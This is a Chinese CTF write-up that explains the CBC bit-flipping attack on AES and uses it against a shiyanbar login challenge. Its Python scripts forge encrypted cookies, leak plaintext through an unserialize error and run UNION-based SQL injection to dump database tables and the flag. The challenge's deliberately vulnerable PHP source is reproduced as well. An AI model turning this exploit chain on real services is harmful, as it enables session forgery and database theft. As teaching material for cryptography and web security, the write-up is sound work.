AES CBC模式下的CBC bit flipping Attack
AES CBC模式下的CBC bit flipping Attack
目录
1 简介
2 字节翻转攻击测试
还以上一节的测试程序为例子。用字节翻转攻击修改解密后的明文。
测试请求数据:
def my_dec_req(data): '''测试解密,注意这里使用test_dec函数,直接解密出明文''' txt = b64_url_enc(bytes_to_str(base64.b64encode(data))) return test_dec(txt) test_txt = 'this is a long long test' test1 = test_enc(test_txt) test_data = base64.b64decode(b64_url_dec(test1)) # 解密出原始明文 print('decoded text:', my_dec_req(test_data))
decoded text: this is a long long test
修改my_dec_req直接解密出明文。
cbc字节翻转的具体实现:
def data_xor(xs, ys): '''xor两个序列''' return bytes([x ^ y for (x, y) in zip(xs, ys)]) def cbc_xor(data, fake_data, org_data): '''使用cbc xor构造第一个伪造数据 data 加密后的密文,前16字节为iv fake_data 要伪造的明文 org_data 原始明文,只要有前16个字节的明文即可''' data_is = data_xor(data[0:BS], org_data[0:BS]) return build_fake_first(data, fake_data, data_is) new_data=cbc_xor(test_data, "admin pass", bytes(test_txt, 'utf-8')) from urllib.parse import quote print("decoded text:", quote(my_dec_req(new_data)))
decoded text: admin%20pass%06%06%06%06%06%06ong%20test
可以看到前16字节明文被成功替换,不过因为伪造的字符串不够16个字节,添加了padding:
使用空格代替pkcs7 padding:
def pad_bs_space(s): '''不足一个分组长的字符串 填充空格''' return s + ' ' * (BS - len(s)) new_data=cbc_xor(test_data, pad_bs_space("admin pass"), bytes(test_txt, 'utf-8')) print("decoded text:", my_dec_req(new_data))
decoded text: admin pass ong test
3 测试实验吧简单的登录题
这个简单登陆题主要就是利用cbc字节反转攻击进行注入。
3.1 测试程序
打开ctf页面,发现有一个登陆框,随便输入提交,burp抓包,可以看到响应中设置了Cookie: iv和cipher。还有tips: test.php,访问test.php,获得源码。
define("SECRET_KEY", '***********'); define("METHOD", "aes-128-cbc"); error_reporting(0); include('conn.php'); function sqliCheck($str){ if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ return 1; } return 0; } function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo '<h1><center>Hello!'.$rows['username'].'</center></h1>'; } else{ echo '<h1><center>Hello!</center></h1>'; } }else{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id']; if(sqliCheck($id)) die("<h1 style='color:red'><center>sql inject detected!</center></h1>"); $info = array('id'=>$id); login($info); echo '<h1><center>Hello!</center></h1>'; }else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); }else{ echo '<body class="login-body" style="margin:0 auto"> <div id="wrapper" style="margin:0 auto;width:800px;"> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>input id to login</span> </div> <div class="content"> <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" /> </div> <div class="footer"> <p><input type="submit" name="submit" value="Login" class="button" /></p> </div> </form> </div> </body>'; } }
可以看到show_homepage函数中检查cookie,并使用aes-128-cbc模式解密。
3.2 模拟请求
下面使用python模拟请求:
import re import base64 from urllib.parse import quote,unquote import requests as req proxy = 'http://192.168.0.102:8080' use_proxy = False MY_PROXY = None if use_proxy: MY_PROXY = { # 本地代理,用于测试,如果不需要代理可以注释掉 'http': proxy, 'https': proxy, } main_url = "http://ctf5.shiyanbar.com/web/jiandan/index.php" headers = { "Referer": "http://ctf5.shiyanbar.com/web/jiandan/index.php", "User-Agent": "Mozilla/5.0 (Windows NT 8.1; Win64; x64) " } def decode_pass(s): return base64.b64decode(unquote(s)) def encode_pass(s): return quote(base64.b64encode(s)) def syb_enc(id): '''获取一组加密数据,(iv, cipher)''' resp = req.post(main_url, data={'id':id, 'submit':'Login'}, headers=headers, proxies=MY_PROXY) return decode_pass(resp.cookies['iv']), decode_pass(resp.cookies['cipher']) def syb_dec(data): "解密请求" cookies = {'iv': encode_pass(data[:16]), 'cipher': encode_pass(data[16:])} return req.get(main_url, headers=headers, cookies=cookies, proxies=MY_PROXY) iv, cipher = syb_enc('test') print("iv len:", len(iv), "cipher len:", len(cipher))
iv len: 16 cipher len: 32
cipher长度为32个字节,表示明文至少16个有效字符。
3.3 解密出明文
由于不知道明文,需要从服务器解密,可以用padding oracle,不过查看源码可以发现,密文解密后有个反序列化过程,如果反序列化失败,会返回base64编码的明文。获取明文的实现代码:
def jiandan_extract_txt(text): "从html结果中提取出明文数据" txt = re.search('base64_decode\(\'(.*)\'\)', text)[1] return decode_pass(txt) def dec_data(data): '''获取data对应的明文, data=iv+cipher''' data = b'1'*16 + data resp = syb_dec(data) return jiandan_extract_txt(resp.text)[16:] dec1 = dec_data(iv + cipher) print("decrypt cipher:", dec1)
decrypt cipher: b'a:1:{s:2:"id";s:4:"test";}'
3.4 构造伪造数据
由此可以根据明文实现cbc字节翻转攻击,但是cbc字节翻转也只能修改第一个分组的明文,因为只能控制原始iv。但是这里由于每次反序列化失败的时候服务器都会返回明文,就可以利用这个明文继续构造新的iv,也就能达到整个数据的修改,代码如下:
def pad_bs(bs): return bs + (BS - len(bs) % BS) * bytes([(BS - len(bs) % BS)]) def build_jiandan_fake_block(data, fake_block): '''构造一个伪造分组''' org_data = pad_bs(dec_data(data)) return cbc_xor(data, fake_block, org_data) def jiandan_enc_text(txt): '''实现加密明文''' fake_groups = partition_group(txt) # 第一次使用正确的iv解密明文,因为要处理padding enced_data = build_jiandan_fake_block(cipher[-BS*2:],fake_groups[-1]) # 后面的分组使用随机iv获取中间状态值 fake_iv = b'1'*16 for group in reversed(fake_groups[:-1]): new_enced = fake_iv + enced_data enced_data = build_jiandan_fake_block(new_enced, group) return enced_data test_enc1 = jiandan_enc_text('this is a test fake data') print('deced:', dec_data(test_enc1))
deced: b'this is a test fake data'
3.5 调用php进行序列化
能正确解密出明文。下面就需要使用php序列化进行sql语句注入,python调用php进行序列化,代码如下:
import subprocess def php_run(code): cc = subprocess.run(["php", "-r", code], capture_output=True) if cc.returncode != 0: print("php run:", code, "return code:", cc.returncode) print("error:", cc.stderr) return cc.stdout def php_serialize(php_obj): '''对php_obj(php字符串)进行序列化''' code = 'echo serialize(%s);' % php_obj return str(php_run(code), 'utf-8') def php_unserialize(php_obj): '''对php_obj(php字符串)进行序列化''' code = 'var_dump(unserialize(\'%s\'));' % php_obj r1 = str(php_run(code), 'utf-8') print(r1) return r1 php_unserialize(str(dec1, 'utf-8')) s1 = php_serialize("['id' => 'this is a test go']") print('serialize:', s1)
Command line code:1: array(1) { 'id' => string(4) "test" } serialize: a:1:{s:2:"id";s:17:"this is a test go";}
3.6 执行sql注入
sql注入利用的代码如下:
def jiandan_send_id(id): payload = php_serialize("['id' => \"%s\"]" % id) enced_payload = jiandan_enc_text(payload) return syb_dec(enced_payload).text def send_sql_query(query): '''发送sql查询语句''' return jiandan_send_id('0 UNION %s #' % query) print(send_sql_query('SELECT NULL'))
The used SELECT statements have a different number of columns
成功进行注入,下面一步步注入,获取到flag,第一步获取sql查询语句的列数:
# 获取sql查询的列数,保存到query_cols变量 for i in range(1,10): cols = ', '.join(['NULL'] * i) result = send_sql_query('SELECT ' + cols) print(result) if not re.search(r'different', result): query_cols = i break print('query cols: %d' % query_cols)
The used SELECT statements have a different number of columns The used SELECT statements have a different number of columns <h1><center>Hello!</center></h1> query cols: 3
3.7 通过注入查询获取flag
知道了这个查询有3列,下一步是获取数据库名和表名:
result_sep = '@RREE' col_sep = '@,' def build_query_result(sql): '''构造返回的结果字符串的格式,方便提取结果''' return "concat('%s',%s,'%s')" % (result_sep, sql, result_sep) def build_query_columns(cols): '''构造多列的查询结果格式''' cols_seps = ",'%s'," % col_sep return build_query_result(cols_seps.join(cols)) def parse_query_result(data): '''解析查询结果''' row = data.split(result_sep) if len(row) < 3: return None return row[1].split(col_sep) # 测试构造查询 print(build_query_columns(['a', 'b', 'c'])) def jiandan_query_one(col, db, row=0): '''查询一行结果,返回1行数据 col为要查询的的列, db为数据库, row为要查询的行''' return send_sql_query('SELECT NULL,%s,NULL from %s limit %d,1' % (col, db, row)) def jiandan_query(cols,db, max_row = 100): '''查询数据库db的cols列,max_row为最大查询行数''' result = [] col = build_query_columns(cols) for i in range(max_row): r1 = jiandan_query_one(col, db, i) print('%d --> %s' % (i, r1)) r1 = parse_query_result(r1) if r1: result.append(r1) else: break return result def query_db_info(): '''查询数据库信息''' return jiandan_query(["table_schema", "column_name", "table_name"], "information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'") print(query_db_info()) print('flag:') print(jiandan_query(['value'], 'you_want'))
concat('@RREE',a,'@,',b,'@,',c,'@RREE') 0 --> Got error 28 from storage engine [] flag: 0 --> <h1><center>Hello!@RREEflag{c42b2b758a5a36228156d9d671c37f19}@RREE</center></h1> 1 -->  [['flag{c42b2b758a5a36228156d9d671c37f19}']]
这次查询会出现Got error 28 from storage engine, mysql的临时文件夹满了,应该是题目服务器的问题。 最终的flag在you_want表的value列中。
4 总结
搞清楚异或运算的计算步骤后,字节翻转还是很容易理解的。
Created: 2019-07-23 周二 09:56